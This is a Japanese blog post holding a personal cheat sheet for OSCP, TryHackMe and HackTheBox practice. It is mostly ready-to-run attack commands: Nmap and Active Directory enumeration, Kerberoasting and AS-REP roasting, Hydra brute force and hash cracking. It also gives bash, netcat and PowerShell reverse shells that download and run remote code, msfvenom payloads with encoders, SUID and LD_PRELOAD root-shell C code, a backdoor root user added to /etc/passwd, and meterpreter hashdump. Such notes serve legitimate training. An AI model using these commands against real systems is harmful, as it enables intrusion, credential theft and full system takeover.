OSCPの勉強、TryHackMeやHackTheBox用のチートシート。
チートシート用アプリで作っていたけれど、なんだか使いにくかったのでWordPressでやることに。
WordPressでやるとどこからでも見れるしいいよね。(ノート系アプリでもいいんだけど)
Enum
Nmap
通常スキャン
$nmap -sV -A -Pn -T4 10.10.10.1
$nmap -sV -A -T4 10.10.10.1
ネットワークスキャン
$nmap -sn 10.10.10.1-254
$nmap -sn 10.10.10.0/24
脆弱性スキャン
$nmap -sV --script vuln 10.10.10.1
オプション
-p 対象ポート設定
-Pn PINGしない
-f Fragment Packetを使用
--scan-delay 10 スキャンごとに引数msの間隔
-vv 経過表示
--badsum 無効なチェックサム仕様(FWやIPSに邪魔されるとき用)
-A OS、バージョン、スクリプトスキャン、トレースルートする
-T4 高速スキャン
-sV サービスとバージョン列挙
Nmap Script Engine
$nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php' 10.10.10.1
$nmap --script=mysql-enum 10.10.10.1
$nmap --script-help <script-name>
Nmap用のscriptDBのパス
/usr/share/nmap/scripts/script.db
Script説明サイト(公式)へのリンク
Scriptの使い方へのリンク
MYSQL
Nmap
$nmap --script=mysql-enum 10.10.10.1
SMB
Nmap
$nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.10.1
smbmap
Anonymous Login
Enum4Linux
$enum4linux [options] 10.10.10.1
-U ユーザーリスト取得
-M マシーンリスト取得
-N ネームリスト取得(-U,-Mとは違う)
-S Shareリスト取得
-P パスワードポリシー取得
-G グループとメンバーリスト取得
-A 全部込み
smbclient
接続
$smbclient //10.10.10.1/sharename -U username -p portNumber
$smbclient -U "username" \\\\AdDmain.locl\\sharename
ユーザ名からshareを列挙
$smbclient -U "svc-admin" -L target.local
NFS
Nmap
$nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.10.1
NFS mount
$sudo mount -t nfs 10.10.10.1:Anonymous /tmp/mount/ -nolock
-t nfs NFSタイプのデバイスを指定
-nolock NLM Lockingをしない
$showmount -e 10.10.10.1
設定ファイル
no_root_squashはsuidOK
$cat /etc/exports
SMTP
$smtp-user-enum -U /usr/share/wordlists/rockyou.txt -t 10.10.10.1
Active Directory
SPNを出力
>setspn -T medin -Q */*
Kerbrute
$./kerbrute_linux_amd64_ver1.01 userenum -d domaincontrol.local --dc domaincontrol.local /usr/share/wordlists/rockyou.txt
impacket(GetNPUsers)
ASREPRoastingngのため、パスワードなしで認証できそうなユーザを検索
$python3-impacket/examples/GetNPUsers.py target.local/username -no-pass
impacket(secretsdump.py)
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py username:password@10.10.10.1
impacket(GetUserSPNs.py)
Kerberoastingのため、ユーザー名に対応したパスワードのハッシュを取得。
$sudo python3 GetUserSPNs.py domain.local/username:password -dc-ip 10.10.10.1 -request
Bloodhount
Neo4j
Rubeus(サーバ上で稼働)
KDCに転送されているチケットを表示
Rubeus.exe harvest /interval:30
Rubeus
ユーザ名やパスワードにスプレー攻撃。ドメイン内で見つかった全ユーザに対して実行
実施前にhostsファイルにドメイン情報入力必須
$echo 10.10.10.1 CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts
$Rubeus.exe brute /password:Password1 /noticket
Rubeus
AS-REP roastをしかけて、ユーザパスのハッシュを出力
時々ハッシュの冠文字の一部($23など)が消えてるので手入力の必要あり
Rubeus.exe asreproast
hashdumpする
$Rubeus.exe kerberoast
Webサーバ
Gobuster
$gobuster dir -u http://10.10.10.1:3333 -w /usr/share/wordlists/rockyou.txt
-e 完全なURLをコンソール上で入力するとき用
-u 検査するURL
-w
ワードリストのパス
-U and -P
Basic認証用ユーザ名、パスワード
-p プロキシのポート
-c 認証に使うCookie
(再帰的探索ができるので、DirBusterのほうがいい)
Search Vulnerability
CVE
searchsploit
$searchsploit <servicename> <version>
Linux(Local)
基本
$hostname
$uname -a
$cat /proc/version
$cat /etc/issue
$ps aux
$env
$sudo -l //LD_PRELOADがあるか注意
$id
$cat /etc/passwd
$history
$ifconfig or ip addr
$ip route
$netstat -a,-at,-au,-l,-tp,-ano,-ltp
$find / -perm a=x 2>/dev/null
$getcap -r / 2>/dev/null
$cat /etc/crontab
$find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
SUIDのファイル一覧表示
$find / -perm -u=s -type f 2>/dev/null
sudoで起動できるパス
$sudo -l
LinPeas
$curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
LinEnum
LES(Linux Exploit Suggester)
Linux Smart Enumeration
Linux Priv Checker
Windows(Local)
基本
>whoami /priv
>net users
>net user username, net user Administator
>qwinsta(query session)
>net localgroup
>net localgroup <groupname> e.g net localgroup Administrators
>systeminfo
>systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
>hostname
>findstr /si password *.txt
>wmic qfe get Caption,Description,HotFixID,InstalledOn
>wmic product get name,version,vendor
>wmic service list brief
>wmic service list brief | findstr "Running"
>wmic service get name,displayname,pathname,startmode
>sc qc <servicename>
>netstat -ano
>schtasks
>schtasks _query /fo LIST /v
>driverquery
>sc query windefend
>sc queryex type=service
>setspn -T medin -Q */* //SPNを一覧表示(Kerberoast用)
WinPEAS
>winpeas.ext
PowerUp
>powershell.exe -nop -exec bypass
>Import-Module .\PowerUp.ps1
>Invoke-AllChecks
Windows Exploit Suggester
>windows-exploit-suggester.py --database 2021-09-21-mssb.xls --systeminfo sysinfo_output.txt
フォルダのアクセス権確認
>.\accesschk64.exe /accepteula -uwdq "C:\Program Files\" 'ディレクトリ名は例
Hash
john
$sudo john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
unshadow
/etc/passwd と /etc/shadow からパスワードを出力
$unshadow passwd.txt shadow.txt > unshadowed.txt
hashcat(辞書使用)
$hashcat -m 18200 -a 0 unshadowed.txt passwordlist.txt --force
-m ハッシュタイプを指定(リンク)
-a アタックモード(0:辞書)
–force エラー無視
Exploit
Reverse Shell
bash
$/bin/bash -i >& /dev/tcp/10.10.10.1/4444 0>&1
NishangのPowershell Reverse Shell
webサーバ8000ポートでバイナリを配信し、ncで4444受付
>powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.10.1:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.1 -Port 4444
Netcat(listen)
$nc -nlvp 4444
Netcat(Reverse Shell)
$nc -e /bin/bash
$rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <RhostIP> <RhostPort> >/tmp/f
PHP
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Linux(Local)
SUID実行
exploit.c
int main()
{ setuid(0);
setuid(0);
system("/bin/bash");
return 0;
}
$gcc exploit.c -o exploit.elf -w ( -masm=intel)
Brute Force
Hydra
$hydra -l username -P /usr/share/wordlists/rockyou.txt ftp://MACHINE_IP
$hydra -l username -P /usr/share/wordlists/rockyou.txt 10.10.10.1 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -V
$hydra -l username -P /usr/share/wordlists/rockyou.txt 10.10.10.1 ssh
$hydra -t 4 -l username -P /usr/share/wordlists/rockyou.txt -V 10.10.10.1 ftp
Windows
Windowsへのリモート接続
$evil-winrm -i 10.10.10.1 -u username -H 0e0363213e37b94221497260b0bcb4fc(hashPass)
Linux
sudo -lでenv_keep+=LD_PRELOADが見えた時
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
/etc/passwdへのユーザー追加
$openssl -\passwd -1 -salt THM password1
$1$THM$xxxxxxxxxxxxxxxxxxxxxxx
※ この後、/etc/passwdに"hacker:$1$THM$xxxxxxxxxxxxxxxxxxxxxxx:0:0:root:/root:/bin/bash"を追加
msfvenom
Windows用リバースシェル
$msfvenom -p windows/shell_reverse_tcp LHOST=10.9.3.100 LPORT=8888 -e x86/shikata_ga_nai -f exe -o Advanced.exe
meterpreter用リバースシェル
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o reverseshell.exe
Metasploit
起動
$msfdb init
$msfconsole
msfconsole オプション
-h
show help
-use
set module and start interactively
-info
displays information about one or more modules
-set
set the variables
-setg
set the global variables
-get
show the value of variables
-unset
unset the value of variables
-unsetg
unset the global value of variables
-save
save to settingfile that previously set values
PortScan
$db_nmap -sV 10.10.10.1
$hosts
$services
$vulns
モジュールセット
$serch keyword(etc. php, apache, smtp, multi/handler )
$use <module path>
$show options
$info
$set <arg> <value>
$run(exploit)
payloadセット
$show payloads 'モジュールセット後
$set payload windows/x64/shell/reverse_tcp
シェル確立後にmeterpreterに変更
(シェルからmsfに戻り)
$use post/multi/manage/shell_to_meterpreter
meterpreter
$hashdump
$download "C:\..." /home/username/
$upload /home/username/...
$load powershell
$powershell_shell(上の続き)
$
リバースシェル確立後
$run post/windows/gather/checkvm
$run post/multi/recon/local_exploit_suggester
$run post/windows/manage/enable_rdp
$run autoroute -h
incognito(アクセストークンの脆弱性を攻撃)
$use incognito
$load incognito
$list_tokens -g
$impersonate_token "BUILTIN\Administrators"
小技
コンパイル
Cソース
$gcc poc.c -o exploit.elf -masm=intel
Powershell
Powershellでダウンロード
>powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/sample.exe','sample.exe')"
Python 小技
簡易Webサーバ
$python3 -m http.server
インタラクティブなシェル
$Python3 -c "import pty; pty.spawn('/bin/bash')"
WordLists
/usr/share/wordlists
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/dirb
/usr/share/seclists(sudo apt install seclists)
Kaliサイコー!!
コメント